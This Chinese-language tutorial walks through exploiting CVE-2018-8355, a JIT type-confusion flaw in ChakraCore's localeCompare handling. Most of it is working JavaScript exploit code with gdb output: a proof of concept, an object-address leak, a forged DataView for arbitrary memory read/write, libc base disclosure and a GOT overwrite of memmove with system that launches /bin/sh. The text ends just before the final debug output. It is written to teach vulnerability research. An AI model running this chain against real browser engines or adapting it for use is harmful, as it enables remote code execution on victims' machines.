内容简介:*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载学习v8后,对chakracore还是一无所知,恶补一波。虽然chakracore不久就会被淘汰了,但对于学习浏览器的漏洞利用而言,漏洞调试经验才是最宝贵的。本篇文章主要是从入门角度,通过调试CVE-2018-8355一步步学习chakracore引擎的漏洞利用。文章难免会出现理解错误,敬请斧正。文中涉及到有漏洞的chakracore程序,连同上一篇的v8程序,我都编译好放在了github上,链接在文章末尾。有兴趣的童鞋,
*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载
学习v8后,对chakracore还是一无所知,恶补一波。虽然chakracore不久就会被淘汰了,但对于学习浏览器的漏洞利用而言,漏洞调试经验才是最宝贵的。本篇文章主要是从入门角度,通过调试CVE-2018-8355一步步学习chakracore引擎的漏洞利用。文章难免会出现理解错误,敬请斧正。
文中涉及到有漏洞的chakracore程序,连同上一篇的v8程序,我都编译好放在了github上,链接在文章末尾。有兴趣的童鞋,可以下载调试。调试环境:Ubuntu 18.04系统。
0×01 编译chakracore源码
chakracore的编译相比v8来说是很简单的,直接git clone编译即可。如果需要patch补丁的话,在下载源码后,直接patch命令加入源码,再编译:
git clone https://github.com/Microsoft/ChakraCore cd ChakraCore patch -p1 < ../diff.patch ./build.sh
如果需要切换到某个有问题的分支,以CVE-2018-8355为例,在github上找到该漏洞的commit,然后git切换到该分支,编译即可。
git clone https://github.com/Microsoft/ChakraCore cd ChakraCore git checkout 91bb6d68bfe0455cde08aaa5fbc3f2e4f6cc9d04 或 git reset --hard 91bb6d68bfe0455cd ./build.sh
0×02 chakracore的调试方式
这里主要讲源码调试,后续会专门总结非源码模式下主流浏览器在windbg/gdb中的通用调试技巧。
chakra默认没有显示对象地址和int 3断点的调试接口,因此需要在源码中定制。具体需要修改ChakraCore/bin/ch/WScriptJsrt.cpp和WScriptJsrt.cpp.h。
在WScriptJsrt.cpp文件起始位置增加:
#include <signal.h>
然后在WScriptJsrt.cpp中合适位置定义breakpoint和addressOf接口:
IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "breakpoint", BreakpointCallback)); IfFalseGo(WScriptJsrt::InstallObjectsOnObject(global, "addressOf", addressOfCallback)); .... JsValueRef __stdcall WScriptJsrt::BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState) { raise(SIGINT); return nullptr; } JsValueRef __stdcall WScriptJsrt::addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState) { for(unsigned int i=1; i < argumentCount; i++) { wprintf(_u("Addresss of the %2dth argument is 0x%llx\n"), i, (long long)arguments[i]); } fflush(stdout); return nullptr; }
在WScriptJsrt.cpp.h中增加:
static JsValueRef CALLBACK BreakpointCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState); static JsValueRef CALLBACK addressOfCallback(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState);
编译ChakraCore即可。
然后在编写的js脚本中就可以利用下列语句,实现打印某个对象的地址或触发int3断点的效果:
let array1 = [1.1, 2.2, 3.3]; let array2 = [1.1, 2.2, 3.3]; addressOf(array1, array2); breakpoint();
gdb调试该脚本:
pwndbg> set args poc.js pwndbg> r Starting program: /Release/ch poc.js ... ... Addresss of the 1th argument is 0x7f02d8b51cb0 Addresss of the 2th argument is 0x7f02d8b51d20 ... ... Program received signal SIGINT pwndbg>
现在就能够在gdb中打印对象的内存地址,并在需要的位置断了下来。这两个函数基本可以满足后续漏洞利用过程中的调试需求了。
0×03 对chakra类型混淆漏洞的理解与利用思路
首先需要学习的知识点是,chakra中的数组存在三种,分别为NativeIntArray、NativeFloatArray和VarArray。VarArray代表的是对象数组。比如:
let arr = [1.1, 1.1];
这里arr是NativeFloatArray,我们可以通过向数组中添加非Native元素,自动使其变为VarArray对象数组:
arr[0] = {}
NativeIntArray和NativeFloatArray数组转化成VarArray数组过程中,会将数组中的元素通过异或0xfffc000000000000转化为VarArray中的数据。也就是说VarArray会通过数组中元素的高位来判断数组中的元素是数据还是对象。
NativeIntArray和NativeFloatArray之间出现混淆一般不能带来安全问题,但是当这二者和VarArray混淆之后就会出现数据和对象无法区分的问题。先看一段简单的代码:
a[0] = 1.2; xxxx; a[0] = 2.3023e-320; // 0x1234的Float格式
这段代码在JIT优化后的表现形式是这样的:
mov a.segment.index 1.2 xxxx; mov a.segment.index 2.3023e-320
如果在xxxx操作过程中,将NativeFloatArray的类型改变成VarArray,但JIT优化过程无法检测这种变化,那么在JIT优化期间,2.3023e-320就会仍旧被当做浮点数赋值给a[0]元素。但当程序离开JIT优化函数后,很明显此时a数组已经转换为对象数组了,因此再访问a[0],实际上访问的就是以0×1234作为内存地址的一个对象。而0×1234内存肯定不可访问,从而产生内存访问异常。
let a = [1.1, 2.2]; function opt() // JIT优化 { a[0] = 1.2; xxxx; a[0] = 2.3023e-320; // 0x1234的Float格式 } print(a[0]); //此时a[0]已经为一个对象了
因此,对JIT优化产生的类型混淆,最需要理解的本质是,在JIT优化函数过程中a[0]一直会被当做浮点数来处理,而程序离开JIT优化函数后,a[0]就会被JS引擎正常地认为是一个对象了。这一点需要特别特别特别好好理解一下。再次举例说明:
let a = [1.1, 2.2]; let obj = {} let b = 0; function opt() // JIT优化 { a[0] = 1.2; a[1] =obj; // 将a的类型改为对象数组而JIT优化无法察觉 a[0] = 2.3023e-320; // 0x1234的Float格式 b = a[1]; // 此时b存储的就是obj对象的内存地址了 } print(a[1]); //此时a[1]已经为obj对象了 print(b); // 可以打印出obj对象的地址
我们将xxxx过程改为a[1] =obj,实际上数组a就会自动变成了对象数组。但JIT优化在有漏洞的情况下,没有检测出这个类型变化,仍旧将a作为浮点数组处理,后续就可以将a[1]即obj对象的内存地址赋值给b,也就是说我们可以泄露出对象obj的内存地址了。
另外还可以在JIT优化函数中更改a[1]指向的对象地址,比如a[1]=a[1]+0×58,此时a[1]这个对象的内存地址就指向了a[1]+0×58的位置。
为了实现数组的类型混淆,上述xxxx操作的主流思路有两种,一种是 利用没有检测的回调函数 来修改数组的类型,第二种是 通过合理的函数 来修改数组的类型。
思路1:利用没有检测的回调函数修改数组类型
可以在JavaScript中利用对象的回调函数设置数组类型:
let a = [1.1]; let b = [0]; function opt() // JIT优化 { a[0] = 1.2; b[0] = {valueOf: () =>{ a[0] = {}; //将数组a转换成VarArray return 0; }}; a[0] = 2.3023e-320; // 这时候对a[0]的读写JIT都是以浮点数来处理的 } opt(); // JIT优化后再打印a[0],实际上访问的是以2.3023e-320为地址的对象 print(a[0]);
由于数组b中的元素只能为NativeInt即Uint32类型,因此再将一个对象赋值给b[0]时,JIT会对这个对象进行一个转换。转换过程中调用了ToInt32这个函数,而这个函数会触发ValueOf回调,从而在回调中将a[0]赋值为一个对象,即将数组a的NativeFloatArray类型自动转换成了VarArray。但JIT优化过程并没能够检测出这一类型改变,误认为a仍旧是NativeFloatArray类型,继续将其元素当做浮点数进行赋值。
但当js代码跳出JIT优化函数后,js引擎能够正确判断出数组a的类型变为了VarArray,因此这时候a[0]代表的就是一个对象了。
也就是说在JIT优化期间,如果我们将一个对象赋值给a[0],JIT优化函数内部是能够以Float读取到这个对象的地址的:
let a = [1.1, 2.2]; let b = [0]; let fake_object = {99.99}; function opt() // JIT优化 { a[0] = 1.2; b[0] = {valueOf: () =>{ a[1] = fake_object; return 0; }}; a[0] = 2.3023e-320; // 此时能够以浮点数操作a[1],即fake_object的地址 } opt(); // JIT优化后再打印a[1],实际上访问的是fake_object对象 print(a[1]);
思路2:通过合理的函数调用修改数组类型
示例:
function opt(arr, proto) { arr[0] = 1.1; let tmp = {__proto__:proto}; arr[0] = 2.3023e-320; } let arr = [1.1, 2.2, 3.3]; for(let i = 0; i < 10000; i++){ // JIT优化 opt(arr, {}); } opt(arr, arr);
上述思路是,在最后一次opt调用时,将array当做proto赋值给了proto属性链。而在对属性链赋值时,如果赋值参数为Native数组的话,赋值过程中,会自动调用ToVarArray函数,将其转换为VarArray。因此上述arr数组在最后一次opt函数调用时,就没自动转换为了VarArray对象数组。但在JIT优化过程中,chakra在实现上并没有预测到上述属性链的调用会改变数组属性,只是单纯地将arr当做NativeFloatArray,从而出现了类型混淆。
实例:CVE-2018-8355 localeCompare引起的类型混淆
首先看PoC:
function opt(arr, s) { arr[0] = 1.1; if (s !== null) { let tmp = 'a'.localeCompare(s); } arr[0] = 2.3023e-320; } function main() { let arr = [1.1]; // JIT优化 for (let i = 0; i < 10000; i++) { 'a'.localeCompare('x', []); // Optimize the JavaScript localeCompare opt(arr, null); // for profiling all instructions in opt. try { opt(arr, {toString: () => { throw 1; // Don't profile "if (locales === undefined && options === undefined) {" }}); } catch (e) { } } // 触发漏洞 opt(arr, {toString: () => { // Called twice arr[0] = {}; }}); print(arr); } main();
如果能够理解前面类型混淆常见思路的话,可以看出,在JIT优化时,先向opt优化传递一个null对象,此时opt不会去执行localeCompare语句,而是直接给arr[0]赋值为一个浮点数;然后向opt传递一个{}空对象,对象定义了一个toString回调函数,这个回调函数会在localeCompare执行期间触发,从而抛出throw 1异常,也就没有执行到后续的arr[0]赋值操作。
也就是说,整个JIT优化期间,chakra始终会把arr作为一个浮点数数组来对待。因此JIT就错误地没有增加对数组a的类型进行检测的代码。
而在后面漏洞触发时,在toString回调函数中,把arr[0]赋值为一个{}对象,也就是改变了数组a的类型为对象数组,但JIT优化代码中并没有检测数组a类型的语句,而是仍旧将其作为浮点数数组进行处理,从而引发了类型混淆。
在了解了类型混淆之后,我们来探讨一下类型混淆如何利用。
0×04 类型混淆的利用思路:伪造DataView
之前讲v8越界读写漏洞的利用时,对利用过程可能描述的不太清楚。这里首先描述一下浏览器漏洞触发之后的常规利用流程。
我们这里逆推一下利用过程。
假设我们想对一个浏览器漏洞实现利用,最容易想到的就是,如果能够通过漏洞实现任意地址读写,只要我们利用这个任意地址读写漏洞,想办法泄露libc基地址,然后修改free_hook或malloc_hook为system地址,就能实现利用了。
再者,如果我们能够利用任意地址读写,将自己写的shellcode写入到一个可写可执行的内存地址,并且能够泄露出这个内存地址,只要将系统内某个js对象结构中的函数指针修改为shellcode的内存地址,也能够实现利用。
可以看出,上述两种思路能够实现利用的前提是,我们需要通过漏洞构造出一个任意地址读写原语。
在v8中,如果我们拥有一个越界读写漏洞,可以通过越界读泄露FloatArray和ObjectArray的Map类型。然后通过越界写,实现类型混淆:将FloatArray的类型修改为ObjectArray的Map,这样就能通过FloatArray读取到某个对象的地址;通过越界写,将ObjectArray的类型修改为FloatArray的Map,这样就能通过ObjectArray强制将一个浮点数地址转换成一个JS对象,这样就实现了一套AddressOf和fakeObject原语。
实现AddressOf和fakeObject原语后,就可以通过AddressOf读取到一个js数组元素的具体内存地址,并将这个内存地址伪造成一个js对象,然后我们就可以通过布局,将这个数组的元素伪造成一个FloatArray的对象结构。伪造的对象结构中的elements指针指向我们需要修改的内存地址,然后通过fake_object[0]就可以访问到这块内存地址了,从而实现了任意地址读写的效果。
具体详细细节,请参考上一篇v8漏洞利用文章。
那在chakra中怎么利用呢?通过对chakra类型混淆漏洞的理解,我们可以得出如下结论:
在JIT优化期间,最后一次触发漏洞的优化函数内部,是可以泄露出赋值给NativeFloatArray元素的对象的地址的。
最后一次漏洞触发时,NativeFloatArray元素仍旧被当做浮点数处理,但JIT优化后,JS引擎就能正确识别这个元素是个对象了。也就是说,我们可以指定一块内存地址作为一个对象的内存。
以localeCompare类型混淆为例子,我们通过改进PoC并结合上述两个结论,可以泄露出某个对象的内存地址,请看详细代码:
// 第一部分:浮点数和64位无符号整数转换函数 var f64 = new Float64Array(1); var u32 = new Uint32Array(f64.buffer); // 64位无符号整数转为浮点数 function i2f(x) { u32[0] = x % 0x100000000; u32[1] = (x - (x % 0x100000000)) / 0x100000000; return f64[0]; } // 浮点数转换为64位无符号整数 function f2i(x) { f64[0] = x; return u32[0] + 0x100000000 * u32[1]; } // 64位无符号整数转为16进制字节串 function hex(x) { return `0x${x.toString(16)}` } //第二部分:触发漏洞泄露指定对象的内存地址 var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]; var fake_object_array_addr = 0x0; // 存储array的地址 function opt(arr, s) { arr[0] = 1.1; if (s !== null) { let tmp = 'a'.localeCompare(s); } arr[0] = 2.3023e-320; fake_object_array_addr = f2i(arr[1]); // 第二步:这里可以以浮点数读取到a[1]传递到函数外部 arr[1] = i2f(fake_object_array_addr + 0x58); // 第三步:将arr[1]指向fake_object_array存储元素的内存处 } var arr = [1.1, 2.2]; // JIT 优化 for(let i=0; i < 10000; i++) { 'a'.localeCompare('x', []); opt(arr, null); try{ opt(arr, {toString: () => { throw 1; }}); }catch(e){ } } // 触发漏洞 try{ opt(arr, {toString: () => { arr[1] = fake_object_array; // 第一步:触发漏洞时,将fake_object_array赋值给a[1] }}); }catch(e){ } //addressOf(fake_object_array); print("leak fake_object_array address: " + hex(fake_object_array_addr)); // 第四步:此时操作arr[1]实际上操作的是一个对象 print(arr[1]);
备注:在上面js脚本中第一部分,参考网上大神的浏览器漏洞利用的框架,自定义了一套64位int和float浮点数的转换函数。
从上面代码可以看出,漏洞触发时,在第一步,我们将a[1]赋值为fake_object_array,这时候会将数组arr的类型自动转换为了VarArray。但JIT优化引擎因为漏洞的存在,无法检测到这个变化。因此在第二步时,仍旧以浮点数方式来读取arr[1],即读取的是fake_object_array对象的地址,也就是说,我们可以在优化结束后,泄露出fake_object_array对象的内存地址。
另外,最关键的第三步出现了,触发漏洞时的JIT优化函数内部,理论上我们即可以读取arr[1],同时也可以修改arr[1]的内容。也就是说,我们能够让arr[1]指向任意内存位置。
那结合v8中的漏洞利用思路,如果让arr[1]指向一个我们可控的数组元素内容的内存,然后通过布局数组元素伪造出一个FloatArray啥的,那不就能实现任意地址读写了吗?
思路完全正确!
我们看一下上述脚本,发现fake_object_array对象就是我们自己构造的:
var fake_object_array = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]; var fake_object_array_addr = 0x0; // 存储array的地址 ... ....
通过漏洞,我们获取到了fake_object_array对象的内存地址,那很容易我们能够得到对象结构中存储[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]这些元素的内存地址。
这里为了便于新入门的童鞋理解,不增加知识负担,可以先记住,在fake_object_array对象地址+0×58的位置,存储的就是这些元素的内容。具体可以从参考文章中找到详细解释。当然,说句废话,对一个数组对象结构来说,肯定是对象地址向后偏移的某个地方存储着元素内容。-_-
通过上述混淆漏洞,我们能够将上述数组元素内容转换一个对象,并且在优化后能够以一个对象的方式操控它,也就是上述代码的第四步。
到这里就好办了,只要将上述数组布局为一个FloatArray对象,然后用arr[1]进行访问,我们就能实现任意地址读写了。
看过上一篇v8文章的童鞋会发现,FloatArray在操作高地址时有限制,因此这里我们不再伪造FloatArray对象,而是伪造一个更加通用的DataView对象来实现任意地址读写。
1. 伪造DataView对象结构
在Chakra中,一个DataView对象的结构主要包含8个成员(64位下每个成员都是8个字节,共0×40个字节):
DataView对象结构 | 备注 |
---|---|
[0] vtable指针 | 虚表指针 |
[1] TypeObject指针 | 用于标识对象的类型等基本信息 |
[2] Dynamic Object Content | 第三、四项是继承自Dynamic Object中的内容 |
[3] Dynamic Object Content | |
[4] buffer size | 一个比较重要的域,表示buffer的size |
[5] ArrayBuffer Object指针 | DataView对应的ArrayBuffer Object的指针 |
[6] byteoffset | |
[7] Buffer | DataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作 |
理论上,我们只要将每一项伪造出来,赋值给前面的数组内容就可以实现伪造了。下面我们来对每个元素进行伪造( 4.1-4.5的内容主要参考文章[2],并针对新版本变化对某些偏移进行了修正 ):
DataView的第一项是对象的vtable虚表指针,在这个漏洞中,目前我们还没有办法去获取到一个合法的vtable地址,所以只好填零留到后面处理。
DataView的第二项是TypeObject的指针,对于Chakra中所有的Dynamic Object都保存一个TypeObject的指针用于标识对象类型等基本信息,称为运行时类型。这里因为不涉及控制数据访问的域,也先填零处理。
DataView的第三、四项是继承自Dynamic Object中的内容。在Chakra中Dynamic Object与Static Object对立,只有简单的String、Boolean等Object是static的,其余的基本都是Dynamic Object。因为Dynamic Object的值同样不涉及控制数据访问的域,这里还是对三、四项填零处理。
下面第五项是一个比较重要的域,表示buffer的size,需要填一个合理的Buffer大小。
第六项是指向DataView对应的ArrayBuffer Object的指针,但是使用DataView访问数据时不会使用ArrayBuffer中的地址,而是优先使用第八项buffer指针的地址。所以这里也填零,之后再处理。
第七项是byteoffset,这个值在利用中用不到,同样填零。
第八项是DataView操作的目的缓冲区地址,把这个值指向我们想要操作的地址就可以进行读写操作。
// 重新构造fake DataView fake_object_array[0] = i2f(0); // vtable fake_object_array[1] = i2f(0); //TypeObject fake_object_array[2] = i2f(0); // TypeId fake_object_array[3] = i2f(0); // JavascriptLibrary fake_object_array[4] = i2f(0x200); // buffer size fake_object_array[5] = i2f(0); // ArrayBuffer ArrayBuffer->isDetached=0 fake_object_array[6] = i2f(0); fake_object_array[7] = i2f(0x4141414142424242); // 要读写的内存地址
在完成伪造DataView之后,我们需要做的是尝试使用这个DataView进行读写内存,比如:
arr[1].getUint32(0, true);
但是很不幸,由于之前DataView对象结构中很多数据都填了零,在使用DataView对象时,可能会因为校验不通过而发生各种问题,这里就需要通过调试一一bypass掉这些问题。
2. 虚表指针的绕过
首先第一个问题,vtable指针无法获知,但如果需要使用dataview的getUint32、setUint32等函数,通常需要通过虚表指针定位到这些函数地址。因此需要找到一种不通过虚表指针实现函数调用的方法。
下面给出不访问虚表调用对象内部函数的方法,即使用Function.prototype.call方法:
DataView.prototype.getInt32.call(this, args);
第一个为this指针。即:
DataView.prototype.getFloat64.call(arr[1], 0);
就可以实现arr[1].getFloat64(0)的调用效果。这个绕过方式的本质就是,借助了其它DataView的虚表找到需要的函数,然后使用call方式进行调用。
3. TypeId的绕过
虽然虚表的问题已经解决,但此时读写还是不能成功,程序还是会发生crash。因为虽然伪造的fake DataView中的一些域与控制读写无关,但是代码中可能还是存在访问这些域的地方,比如我们前面把一些指针域填零,当代码中存在对这些指针的访问时就会发生crash。
首先遇到的第一个问题是: 在取出DataView的数据前,首先会判断对象的类型是否是DataView 。
const TypeId typeId = recyclableObject->GetTypeId(); if(typeId == CONST_TYPE_DATAVIEW) { return this->data; }
程序会利用TypeObject指针取出TypeId,然后判断TypeId是否是DataView类型(DataView的类型在当前版本为58,即判断typeId是否等于58)。这里需要注意的是,TypeId存储在TypeObject指针指向的结构中的第一个成员位置,即TypeObject[0]位置。
由于TypeObject指针用于表示对象的类型等基本信息,而前面我们直接将其置为零,所以会导致空指针访问。因此需要提前为TypeObject指针寻找一个合适的值。
那怎么办呢?
在JIT优化产生类型混淆后,目前我们手中拥有的是伪造的fake Dataview对象的地址,但是合法dataview的TypeObject指针我们是没有的。因此,我们可以构造一个假的TypeObject结构,第一个成员只要为56,就可以顺利绕过检测。
这里比较巧妙的解法是,由于我们知道fake DataView的地址,因此可以在fakeDataView中用不到的空白区域存储上DataView的类型58,然后在DataView的TypeObject指针域填写上这个存储DataView类型的地址即可。
上面DataView对象结构中的第三项用不到,可以在上面布置一个fake TypeId,然后把第二项的TypeObject指针指向第三项即可。
// 第二项 TypeObject 指针 fake_object_array[1] = fake_object_array_addr + 0x58 + 0x10; // 第三项 fake typeId fake_object_array[2] = i2f(58);
备注:新版本DataView的TypeId为58,旧版本为56,这一点需要注意。
4. 保证JavascriptLibrary的合法
程序在使用DataView过程中还存在如下访问:
dataview->type->JavascriptLibrary
因此我们需要保证TypeObject对象中的JavaScriptLibrary能够合法地被访问到,而上面在解决TypeId的过程中,根据TypeObject对象结构,可以发现TypeId后面这个成员就是JavascriptLibrary,因此在此处,即fake DataView的第四项,填入一个合法的内存地址即可。
由于我们知道了堆中fake DataView的对象地址,对这一块区域的访问肯定是合法的,因此可以大致将第四项设置为附近的一个堆地址即可:
// 第四项 JavascriptLibrary fake_object[3] = fake_object_array_addr -0x100;
5. ArrayBuffer指针
程序还会对fake DataView的第六项成员ArrayBuffer指针进行访问,并且会检测ArrayBuffer的isDetached域。如果isDetached为1,说明DataView不可用;如果isDetached为0,说明DataView可用。因此,我们必须保证isDetached为0。另外,幸运的是,除了isDetached,程序不会再检测ArrayBuffer的其它域。
0x00007fcf5fa1691e <+382>: mov rcx,QWORD PTR [rbx+0x28] // ArrayBuffer => 0x00007fcf5fa16922 <+386>: cmp BYTE PTR [rcx+0x20],0x0 // isDetached
可以发现,isDetached位于ArrayBuffer的0×20位置。
因此只需要在fakeDataView地址附近,找一块为0的内存,作为ArrayBuffer->isdetached的内存,然后将该地址-0×20的内存地址写入到fake DataView的第六项作为ArrayBuffer指针即可。
备注:在新版chakra中,isdetached的偏移为0×20,而旧版本中的偏移为0x3c。
到此我们再使用fake DataView就可以保证程序不发生crash,能够正常使用DataView操作数据了。
总结一下前面的bypass:
使用call调用getInt32或setInt32等函数绕过虚表
将DataView的第三项写入TypeId=56,第二项指向第三项的内存地址fake_object_array+0×58+0×10
保证type->Javascriptlibrary指针合法,即第四项写入一个fake_object_array附近的地址
保证ArrayBuffer指针指向的isDetached=0,即保证ArrayBuffer指针填入的地址+0x3C位置的内存为0
在fake DataView最后一项填上要读写的内存地址
利用DataView.prototype.getFloat64.call(arr[1], 0, true)读写即可
最后实际实现的构造代码如下:
// 重新构造fake DataView fake_object_array[0] = i2f(0); // vtable fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject fake_object_array[2] = i2f(58); // TypeId fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary fake_object_array[4] = i2f(0x10); // buffer size fake_object_array[5] = i2f(f2i(fake_object_array_addr[0]) + 0x30); // ArrayBuffer ArrayBuffer->isDetached=0 fake_object_array[6] = i2f(0); fake_object_array[7] = i2f(0x41414141); // addr to read or write // 最后只要修改fake_object_array[7]为想要读写的内存地址就可以使用DataView的函数访问了 DataView.prototype.getInt32.call(arr[1], 0);
6. 补充:伪造DataView时的调试技巧
在伪造DataView过程中,有可能新版本DataView对象结构的某些成员偏移有所不同,比如新版本的isDetached位于ArrayBuffer结构中的0×20位置,而旧版本中却位于0x3c的位置。刚开始一直参考文章[2]中旧版本的偏移0x3c进行调试,导致chakra一直崩溃,通不过检测。这时候就需要我们在遇到问题时,根据具体情况进行调试来byapss掉。
我们可以提前将所有不确定的域都填写为特定容易识别的数值,然后看程序崩溃时的场景,从而确定当前版本下的具体偏移。比如目前还不确定isDetached的偏移,我们可以将第六项ArrayBuffer指针设置为特定值0×1234,然后gdb调试chakra:
fake_object_array[0] = i2f(0); // vtable fake_object_array[1] = i2f(f2i(fake_object_array_addr[0]) + 0x68); //TypeObject fake_object_array[2] = i2f(58); // TypeId fake_object_array[3] = i2f(f2i(fake_object_array_addr[0]) - 0x100); // JavascriptLibrary fake_object_array[4] = i2f(0x10); // buffer size fake_object_array[5] = i2f(f2i(0x1234); // 不确定isDetached的偏移 fake_object_array[6] = i2f(0); fake_object_array[7] = i2f(0x41414141); // addr to read or write DataView.prototype.getInt32.call(arr[1], 0);
你会发现程序崩溃了,崩溃的场景为:
pwndbg> r Thread 1 "ch" received signal SIGSEGV, Segmentation fault. RAX 0x0 RBX 0x7fcf6388c198 ◂— 0 RCX 0x1234 RDX 0x1000000000000 .... .... ► 0x7fcf5fa16922 cmp byte ptr [rcx + 0x20], 0 // 在此处发生内存访问异常 0x7fcf5fa16926 jne 0x7fcf5fa1698d ↓ 0x7fcf5fa1698d lea rdx, [rip + 0x341066] ... ... Program received signal SIGSEGV (fault address 0x1254) pwndbg> disassemble 0x7fcf5fa16922 0x00007fcf5fa1691e <+382>: mov rcx,QWORD PTR [rbx+0x28] => 0x00007fcf5fa16922 <+386>: cmp BYTE PTR [rcx+0x20],0x0
可以看到rcx即我们设置的ArrayBuffer指针,程序会从[rcx + 0x20]取数值与0进行比较,因此根据前期积累的知识,就可以确定目前版本的isDetached偏移为0×20。
后续只需要在fake_object_array_addr附近,重新寻找数值0所在的内存地址,然后减去0×20,这样就能得到一个合适的ArrayBuffer指针了。
希望大家能理解这种调试思路。
0×06 构造任意地址读写原语
经过上面的伪造,后续就很容易实现任意地址读写的原语了。只要我们将fake_object_array[7]修改为我们需要访问的内存地址,就可以使用DataView的get系列或set系列函数进行内存读写了。实现的读写原语具体如下:
function read64(addr) { fake_object_array[7] = i2f(addr); let data = DataView.prototype.getFloat64.call(arr[1], 0, true); data = f2i(data); print("[*] read data from " + hex(addr) + ":" + hex(data)); return data; } function write64(addr, data) { fake_object_array[7] = i2f(addr); DataView.prototype.setFloat64.call(arr[1], 0, i2f(data), true); print("[*] write data to " + hex(addr) + ":" + hex(data)); } let test_arr = fake_object_array_addr + 0x58 + 0x20; write64(test_arr, 0x1234); //测试读写buffer size read64(test_arr);
在gdb中调试可以得到如下输出:
[*] write data to 0x7fa74740c1b8:0x1234 [*] read data from 0x7fa74740c1b8:0x1234
0×07 任意读写后的漏洞利用
在获得任意地址读写能力后,后面的利用就很好理解了。按照常规套路,泄露libc地址,计算得到free_hook地址和system地址,修改free_hook为system地址,即可触发执行system函数;或者利用类型混淆漏洞,泄露webassembly内存页地址,将shellcode写在wasm内存页上,然后调用wasm接口即可。
作为对上一篇v8漏洞利用的补充,下面主要讲解一下三种有趣的利用思路。PS:目前入门学习阶段暂不考虑需要绕过CFG等高级利用技巧。
1. 泄露libc劫持GOT表
这一种思路最为常见。我们可以读取对象结构中的虚表函数指针,泄露libChakraCore.so地址,然后通过libChakraCore.so中的GOT表泄露libc.so的地址,最终计算得到system的地址。
在常规堆利用中,通常是修改free_hook等函数为system函数从而触发调用。但大家有没有想过一个问题,为何不直接修改程序中free函数的GOT表地址为system地址,反而需要绕一圈去修改free_hook呢?这是因为常规的堆利用中,我们只能泄露出libc的基地址,而无法泄露程序的基地址(除非基地址固定),所以无法修改GOT表。
但在chakracore的利用中,我们可以泄露libChakraCore.so的基地址,因此就可以拿到它调用libc各种函数的GOT表地址,泄露出libc地址后,我们就能将libChakraCore.so中某些函数的GOT表地址修改为system地址来实现调用了。理论上v8中也可以这样做。
因为之前v8漏洞利用期间free函数的不稳定性,这里我们覆盖一个libChakraCore.so中只有我们手动调用js语句才能触发的GOT函数,比如memove@got.plt在js语句Uint8Array.set(new Uint8Array())时才可以被调用。
具体步骤如下:
通过vtable泄露libChakraCore.so
通过libChakraCore.so中的got表泄露libc基地址,计算system地址
将libChakraCore.so中的GOT表memmove@got.plt修改为system地址
调用Uint8Array.set()函数触发memmove函数调用,触发system
使用memmove函数的好处在于,它的第一个参数就是Uint8Array的内存内容,因此可以将Uint8Array内存赋值为我们想要执行的命令,最后调用memmove(command)实际上执行的就是system(command)。
首先通过之前我们得到的fake_object_array对象地址,可以知道+0偏移的地方就是vtable指针,vtable中存储的就是libChakraCore.so中函数地址,我们在gdb中查看一下:
pwndbg> r leak fake_object_array address: 0x7f5e53aac140 Program received signal SIGINT pwndbg> telescope 0x7f5e53aac140 00:0000│ 0x7f5e53aac140 —▸ 0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js:....<-- 虚表vtable指针 01:0008│ 0x7f5e53aac148 —▸ 0x7f5e53ac3ec0 ◂— 0x20 /* ' ' */ 02:0010│ 0x7f5e53aac150 ◂— 0 03:0018│ 0x7f5e53aac158 ◂— 5 04:0020│ 0x7f5e53aac160 ◂— 8 05:0028│ 0x7f5e53aac168 —▸ 0x7f5e53aac180 ◂— add byte p... ... ↓ 07:0038│ 0x7f5e53aac178 —▸ 0x7f5e53a491a0 —▸..... pwndbg> telescope 0x7f5e503a21c0 <-- 虚表内容 00:0000│ 0x7f5e503a21c0 —▸ 0x7f5e4f755960 (Js::RecyclableObject::Finalize(bool)) ◂— ret 01:0008│ 0x7f5e503a21c8 —▸ 0x7f5e4f755970 (Js::RecyclableObject::Dispose(bool)) ◂— ret 02:0010│ 0x7f5e503a21d0 —▸ 0x7f5e4f755980 (FinalizableObject::Mark(void*)) ... ... pwndbg> vmmap 0x7f5e4f755960 <-- 查看虚表中的第一个函数0x7f5e4f755960 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f5e4f5ca000 0x7f5e50171000 r-xp ba7000 0 ..../Release/libChakraCore.so
通过上述调试可以发现,虚表中的第一个函数指针就是libChakraCore.so的函数地址,因此很容易得到libChakraCore.so的基地址。具体实现的JavaScript代码如下:
// 第一步:泄露libc地址 let vtable_addr = read64(fake_object_array_addr); let chakraso_func_addr = read64(vtable_addr); let chakraso_base_addr = chakraso_func_addr - 0x18B960; print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr)); let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0; let libc_malloc_addr = read64(chakraso_got_malloc_addr); let libc_basse_addr = libc_malloc_addr - 0x97070; print("[*] leak libc base addr:" + hex(libc_basse_addr)); // 第二步:计算system地址,修改memmove GOT表地址 let libc_system_addr = libc_basse_addr + 0x4F440; let chakraso_got_memmove_addr = chakraso_base_addr + 0xE21108; write64(chakraso_got_memmove_addr, libc_system_addr); // 第三步:调用Uint8Array.set触发system调用 function get_shell() { var command = "/bin/sh\0"; var tmp_arr = []; for(var i = 0; i < command.length; i++) { tmp_arr.push(command.charCodeAt(i)); } var trigger = new Uint8Array(tmp_arr); trigger.set(new Uint8Array(5)); } get_shell();
在gdb中调试结果如下:
